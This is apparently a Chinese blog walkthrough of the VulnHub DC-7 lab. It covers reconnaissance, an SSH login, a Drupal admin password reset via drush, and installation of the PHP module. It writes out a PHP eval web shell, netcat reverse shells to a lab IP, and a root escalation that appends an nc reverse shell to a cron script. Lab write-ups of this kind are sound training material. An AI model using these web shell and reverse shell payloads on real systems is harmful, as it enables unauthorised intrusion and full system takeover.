# 前言

手上的东西看完了,抬头看一眼时间已经是 17 点半了,老家太冷了扛不住。剩下的一点时间还是继续填坑

# 环境

靶机地址:DC: 7 ~ VulnHub

使用 VMware 搭建环境(这个参考这个系列的第一篇即可 DC-1 - Vulnhub | Clown の Blog = (xcu.icu),环境搭建都一样,这里我还是将网络模式改为了 nat)

# 打靶流程

还是信息收集不是我说,这些个靶机过于理想化

image-20240201140010670

image-20240201140149438

一个 22 端口,一个 80 端口,很常见的两个服务,太套路了,看到这两个服务我估计就得 80 端口发现点什么东西,然后找到用户名密码之类的通过这个 22 端口 ssh 连上去

image-20240201141852620

这个页面很显然在 80 端口上部署了一个 Drupal,在上面还有一段提示

DC-7引入了一些"新"概念,但我会让你自己去弄清楚它们是什么。:-)虽然这个挑战不是所有的技术,如果你需要诉诸暴力强制或字典攻击,你可能不会成功。你要做的,就是跳出框框去思考。方式"外"的框。:-)

作者提醒我们暴力破解可能是没有作用的,我也尝试了一些 Drupal 漏洞,但是都没有成功,那么狠显然需要另外的思路,在左下角有一个 @DC7USER,这里搜索一下

image-20240201144954702

这个就很明显了

image-20240201145347968

在配置文件中有一个 mysql 的连接账号,但是我尝试连接失败了

image-20240201145448579

但是这个账号可以通过 ssh 登录

image-20240201145714533

当前的权限还是很小的

image-20240201150423761

在当前目录发现有一个 mbox 文件,还没查看我又发现这里有一个 mail,mail 里很显然有一个 Cron 作业 /opt/scripts/backups.sh 定期运行,备份数据库到 /home/dc7user/backups/website.sql 。然后打开 mbox,是一样的内容,这里不再展示,这里直接去查看定时任务

image-20240201150713265

这里可以看到 www-data 有可读可写的权限,其他用户没有写的权限,很显然我们需要拿到 www-data 的权限,然后通过定时任务来提权到 root,这里先看看定时任务做了什么,因为上面我们还有 dump 的 sql 文件

#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

这里可以看到这里使用了 drush,这实际上是一个操作 Drupal 站点的命令,这里直接修改密码即可

cd /var/www/html/
 
drush user-password admin --password="123456"

image-20240201152937707

这样就可以通过这个用户名密码来登录到后台了

image-20240201153032352

这里本来我想要添加页面写入一句话

image-20240201153215047

但是发现这里不支持 php,需要将 php 单独作为一个模块导入

https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz

image-20240201153346093

然后选择安装

image-20240201153402430

这里看到就已经成功了

image-20240201153511004

然后这里将其加载到网站

<?php
@eval($_POST[1]);
?>

image-20240201153648689

点击保存后就可以尝试用连接了,这里直接命令执行反弹 shell

nc -e /bin/bash 192.168.246.136 6667
nc -lvvp 6667

image-20240201154041417

然后用 python 优化一下

python -c 'import pty;pty.spawn("/bin/bash")'

image-20240201154119387

这里当前的权限已经是 root,利用定时任务提权

echo "nc -e /bin/bash 192.168.246.136 6767" >> /opt/scripts/backups.sh
nc -lvvp 6767

image-20240201154640462